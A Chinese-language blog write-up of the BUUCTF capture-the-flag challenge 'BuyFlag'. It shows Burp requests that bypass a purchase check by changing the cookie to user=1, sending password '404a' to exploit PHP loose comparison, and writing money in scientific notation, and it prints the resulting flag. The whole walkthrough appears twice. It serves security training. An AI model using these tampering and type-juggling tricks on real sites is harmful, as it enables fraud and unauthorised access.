BUUCTF WEB [极客大挑战 2019]BuyFlag

本文详细记录了解决BUUCTFWEB[极客大挑战2019]中购买FLAG的过程,涉及身份验证、正确密码和金钱交易。通过burp抓包,逐步揭示了如何利用正确策略获取flag:成为CUI学生、输入特定密码并提供1亿货币。
摘要由CSDN通过智能技术生成

BUUCTF WEB [极客大挑战 2019]BuyFlag


  • 进入环境后在MENU中发现PAYFLAG功能,点击进入,提示

    FLAG
    FLAG NEED YOUR 100000000 MONEY
    
    ATTENTION
    If you want to buy the FLAG:
    You must be a student from CUIT!!!
    You must be answer the correct password!!!
    
    Only Cuit's students can buy the FLAG
    

    说明想要购买flag需要满足三个条件

    1. be a student from CUIT
    2. be answer the correct password
    3. 100000000 MONEY
  • 使用burp抓包

    GET /pay.php HTTP/1.1
    Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: user=0
    Connection: close
    
    

    猜测Cookie中的user表示用户身份,条件1要求身份为student from CUIT,尝试将0改为1

    GET /pay.php HTTP/1.1
    Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: user=1
    Connection: close
    
    
    

    提示

    you are Cuiter
    Please input your password!!
    
  • F12查看网页源代码,发现一段注释

    <!--
    	~~~post money and password~~~
    if (isset($_POST['password'])) {
    	$password = $_POST['password'];
    	if (is_numeric($password)) {
    		echo "password can't be number</br>";
    	}elseif ($password == 404) {
    		echo "Password Right!</br>";
    	}
    }
    -->
    

    要求我们使用POST方法传送password和money变量,使用burp发送数据包

    POST /pay.php HTTP/1.1
    Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
    Content-Length: 29
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81/pay.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: user=1
    Connection: close
    
    password=404a&money=100000000
    

    提示

    you are Cuiter
    Password Right!
    Nember lenth is too long
    
  • money的长度受到限制,尝试科学表达式

    POST /pay.php HTTP/1.1
    Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
    Content-Length: 24
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
    Origin: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
    Content-Type: application/x-www-form-urlencoded
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81/pay.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: user=1
    Connection: close
    
    password=404a&money=1e10
    

    得到flag

    you are Cuiter
    Password Right!
    flag{ccffe99d-8849-4c0c-960f-d468bf5877bc}
    

    BUUCTF WEB [极客大挑战 2019]BuyFlag


  • 进入环境后在MENU中发现PAYFLAG功能,点击进入,提示

    FLAG
    FLAG NEED YOUR 100000000 MONEY
    
    ATTENTION
    If you want to buy the FLAG:
    You must be a student from CUIT!!!
    You must be answer the correct password!!!
    
    Only Cuit's students can buy the FLAG
    

    说明想要购买flag需要满足三个条件

    1. be a student from CUIT
    2. be answer the correct password
    3. 100000000 MONEY
  • 使用burp抓包

    GET /pay.php HTTP/1.1
    Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: user=0
    Connection: close
    
    

    猜测Cookie中的user表示用户身份,条件1要求身份为student from CUIT,尝试将0改为1

    GET /pay.php HTTP/1.1
    Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: user=1
    Connection: close
    
    
    

    提示

    you are Cuiter
    Please input your password!!
    
  • F12查看网页源代码,发现一段注释

    <!--
    	~~~post money and password~~~
    if (isset($_POST['password'])) {
    	$password = $_POST['password'];
    	if (is_numeric($password)) {
    		echo "password can't be number</br>";
    	}elseif ($password == 404) {
    		echo "Password Right!</br>";
    	}
    }
    -->
    

    要求我们使用POST方法传送password和money变量,使用burp发送数据包

    POST /pay.php HTTP/1.1
    Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
    Content-Length: 29
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81/pay.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: user=1
    Connection: close
    
    password=404a&money=100000000
    

    提示

    you are Cuiter
    Password Right!
    Nember lenth is too long
    
  • money的长度受到限制,尝试科学表达式

    POST /pay.php HTTP/1.1
    Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
    Content-Length: 24
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
    Origin: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
    Content-Type: application/x-www-form-urlencoded
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81/pay.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: user=1
    Connection: close
    
    password=404a&money=1e10
    

    得到flag

    you are Cuiter
    Password Right!
    flag{ccffe99d-8849-4c0c-960f-d468bf5877bc}
    
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值